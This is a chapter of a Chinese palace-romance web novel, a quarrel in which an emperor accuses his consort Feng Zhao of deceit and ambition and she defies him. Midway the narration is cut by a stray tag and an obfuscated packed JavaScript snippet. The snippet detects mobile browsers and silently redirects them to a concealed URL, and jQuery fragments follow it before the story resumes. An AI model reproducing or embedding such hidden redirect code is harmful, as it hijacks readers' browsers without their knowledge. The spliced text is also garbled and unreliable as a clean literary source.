太华殿内空荡荡的,宫人皆屏退左右,皇帝独坐于高台上,面容冷峻,像是刚刚下了什么谕旨。
冯照独坐于御座之侧,丝毫没有预料到陛下的态度竟直转急下,她还以为会像从前几次那样,略略一哄就过去了。
她不知陛下为何瞬间翻脸,连忙解释,“陛下误会了,妾怎会对别人这样,妾对陛下一心一意,再没有旁人了。”
她又换了副恳切至深的表情,“妾修养于弥陀山,陛下是知道的,尼寺中鲜有遇见旁人,再后来家中守孝更无机会见到外人,如今满心满眼唯有陛下一人而已。”
元恒默了默,自遇见她以来,她的行踪在他面前都是透明的,他当然知道这女郎做过什么,可严防死守能防得住人,也能防得住心吗?
早在第一面,他就知道这不是什么乖顺的女郎,但也无妨,他身为天子,怎需担心这女郎不牢牢握在自己掌心之中。但没有料到的是她竟是冯家的人,一个大胆又有心的,和他祖母血脉相连的冯家女人。
太后让他娶冯家女,他当然知道这是什么用意,他当然也有过一闪而逝的排斥,但在他心里这不是件重要的事,一个皇后而已,哪里比得上他的江山社稷。他已经有了太子,皇后在血脉上染指不了半分,摆在后宫里看着就是了,为此跟太后起冲突引起国本动荡才是得不偿失。
国有二圣,须得行为一体,若是二圣间有嫌隙,底下臣子必然会见风使舵,朋党相争,朝野动荡引得江山不稳。须知此时北有柔然,南有刘宋,哪个都不是省油的灯,一旦大卫孱弱,他们立刻就会趁虚而入,到那时他有再大的抱负与丘壑都将灰飞烟灭。
皇帝十分明白,他还年轻,而他挡在他面前最大的绊脚石已经日落西沉,他只需要好好等着,等着属于他独掌权柄的时刻到来,那时他想心里设想的一切都将如云施雨展般铺开。
但他不明白的是,他清楚地知道自己心动了,却又不可抑制地想去反感她,致使他面对她时总会克制不住自己的脾气。
譬如此刻,见到她婉切的神情,他一面心动,一面却不由生出一股恶意,想用自己的话在她脸上戳出泪来,在她心里留下痕迹。
冯照心中忐忑,她尽力哀婉着面容,以希求得郎君的垂怜,可如今她面前的人早不是山中的元郎君了。
她有些失落,又有些惆怅,甚至有些后悔起来当初为什么招惹他。
元恒的目光静静落到她身上,又像是看到了她身后。冯照此时跪坐于皇帝身侧,并没有看到在她身后挂着的正是一幅禹贡九州图。
她的身影映在他的宏图霸业前,更像是一片阴影。
他的目光在她身上轻忽来去,她却越发感到不安。
元恒嘲讽一笑,“你本性顽劣,惯于引诱又很快腻烦,却早已习惯如此,只是碰上我叫你憋屈了是不是?”
冯照不知为何他越说越刺耳,像是故意给她难堪一样,她心里又气又急,努力仰头看他。
她哑着声,像是把泪堵在了喉咙里,“陛下明鉴,陛下龙章凤姿,玉质金相,妾一见倾心,只对陛下一人如此。”
乍听到这话,他的一颗心瞬间变得柔软,脸上顿时温柔下来。
他情不自禁地触碰到近在咫尺的脸庞,这是一张色如春花,颜如月华的面容,她的眼中星星点点,满满当当只有他一个人。
冯照任凭他的手在下颌上越收越紧,几乎要扼住她的整张脸,她只是用那凄婉的眼神幽幽地看着他,试图融化他的心。
然而下一刻他又突然放手,冷着脸一字一句地诘问她,“你又骗我。”
“你只是看上一个爱一个,先挑剔外貌,再挑剔身份。”
冯照这样被下脸,也克制不住脸上的表情了,但口中还是低声辩解,“妾一片真心,绝无作假。我与崔主客在瑶光寺才见,期间并无瓜葛,只是这回碰巧,恰好叫陛下看见了。”
“难道是我的错?打扰了你们两个卿卿我我。”他沉着声音,面容冷峻不已。
他死死抠着手中的扶手,不想再提这个人,没了这个还有那个,她的性子一日不改就一日让他难安。
他只想掰开她的心看看,里面究竟有没有真心。
“你当初装病躲开赐婚不想进宫,因为你觉得在宫中不得自由。见到我时以为我是晋阳王,觉得这个身份富贵闲散,又起了心思。如今又来我跟前求情,是觉得可以挟我旧情了是不是?”
这一连串密密麻麻的追问他在心里憋了很久,如今终于说出口,他却并不觉得轻松。
他践祚多年,匍匐在他面前的人不知凡几,但凡出现在他眼前的人皆有所求,他看他们笑、看他们哭、看他们贪嗔痴做尽,当然不会看不透一个小小女郎的心思。但他心知肚明又自得其中,不愿洞察人心消磨情意,今天终于忍不住说了出来。
冯照瞠目结舌地听着他这一番斥问,不知作何解释,只是下意识落下泪来。
但元恒却撇过头去,不愿看见。
他早知道她是什么样的人,却还是不由自主地想给她机会,以为她对着皇帝会有所顾忌。
可他错了,她就是这样的性子,永远知道怎么顺杆子往上爬,永远也改不了。
他忽然朝外面大喊一声,“白准!”
白准守在殿外,本以为冯娘子进去至少也能让陛下心情和缓些,哪知道忽然听到惊天一怒,吓得他差点魂飞魄散。
他连滚带爬跑进来跪倒在地,“陛下……”
皇帝脸色可怖,指着一旁的冯照问他:“她入宫前,太后派人去冯家做了什么?”
白准一惊,磕磕绊绊地回答:“太后对……冯二娘子有赏。”
他嗤笑一声,想起那位冯二娘子所说,竟果然如此,“你妹妹说你们都是依阿权势之辈,你觉得她说的对不对?”
“你看到太后的动作,怕自己被比下去了,所以急着来见我吧。”
“你是因为我们的情谊而来,还是为了天子而来!”
冯照这才意识到陛下在想什么,她想解释,但发现自己的理由好像说不出口。她是听了父亲的话才来的,也的确是为了自己的富贵依旧才来的。她能解释什么呢?若说是为了真情,陛下已经认定她在撒谎,难道会相信吗?
况且,况且!提起冯煦是什么意思?他什么时候见过冯煦,他在拿她们姊妹作比较吗?这简直是天大的笑话。
是他,说要让她信他,不要相信太后所说,可是今天他又主动提起她的妹妹,这又算什么?
是,他是陛下,那就可以出尔反尔,把她召之即来挥之即去吗!
元恒一直盯着她,期待她能解释,哪怕是给一个借口,可她那么能说的一个人,此时此刻竟一言不发。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15232110|163160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>所以他猜对了是不是?
他胸膛起伏不定,只觉得要抑制不住自己的暴烈,非要说出如刀似剑的话,割开自己的身躯,也割去别人的身心。
“你一心攀附,难道不觉得有辱门楣吗?”
冯照猛然抬头,这话如同一记闷雷炸开在耳边。
她脑海中一片空白,不知作何反应。
从没有人这么说过她,即便从前她犯过许多错处,也没有人这么责骂过她。
她从没想过,竟然会因男女之事受到这样的羞辱。
她说不出话,浑身颤抖不止,原来从前种种,他都以为她在一心攀附,还有今日她伏低做小来请罪,恐怕他心里也认为她在自甘下贱吧!
想到这里,她尤为生恨,什么尊卑贵贱、天子一怒、富贵荣华在此刻通通都得往后排,阿耶的话、太后的话在她心里一闪而逝,此刻通通也都顾不上了,唯有她的怒恨挤在心口张扬着要冲出来。
她再也忍耐不住,“陛下知道,却还是跟我搅和在一起,岂非自甘下贱!”
元恒惊愕不已,继而大怒,“你放肆!”
这女子竟敢说这样的话!
“你疯了吗!”
冯照却已经不管不顾了,大不敬的话已经说出口,干脆一口气说个干净!
忍了这么久,她早就不想忍了!
今日之后,管他洪水滔天吧!
她冷笑,“民间还有话说,一个被窝睡不出两种人,陛下说我有辱门楣,是否不肯承认自己也是这种人?”
他的脸色已经阴沉地可怕,目光有如淬火利箭,几乎要在她脸上烧出一个洞来。
然而冯照越说越勇,面含讥讽,“本就是男女之事图个快活而已,陛下却好像看得太过重了,以至于耿耿于怀。”
“陛下不肯承认自己用情,就将我看作是别有用心的妖女,极尽揣测。”
“陛下追问我是不是对每个人都这样,我要说是!陛下想听这样的回答吗?”
“深陷这段情谊无法自拔的究竟是我,还是陛下!”
白准在一旁已经目瞪口呆,听见这话更是如遭雷劈,咚地一声跪地埋首不起。他情愿自己是聋了瞎了埋了,也不要听到这么骇人的话。怎么偏偏今日殿中只有他一个人,只有他听到了,他还想着颐养天年,不想这么早就丧命!
她的话说完,回声响彻在整个大殿,一遍又一遍地在元恒耳边质问,搅得他头痛欲裂。
“不肯承认自己用情”
“自己用情”
“究竟是我,还是陛下!”
“陛下!”
这是什么话?这是什么话!
她竟敢这样说话!
她还在笑,她在嘲讽他!往昔那些明媚、妍丽、欢笑、哭泣的面容拼命挤在一起,在他眼前轮番出现,他挥手扫开,那张芙蓉面瞬间模糊成一片旋涡,变成了要吞嗤他的艳鬼!
心里也震成鼓点快要炸开,怎么会这么痛苦,多看她一眼好像就要碎裂。
他双眼猩红,只能勉力不让自己倒下,双手撑在桌案上,一字一句地说,“冯氏,大不敬!”。
“砰”地一声!
桌上的镇纸被挥落砸地,震得人心中一颤。
年轻的天子一手遥遥指向殿外,脸上涨得通红,又拼命喘气,像是再也不堪忍受,“滚出去!”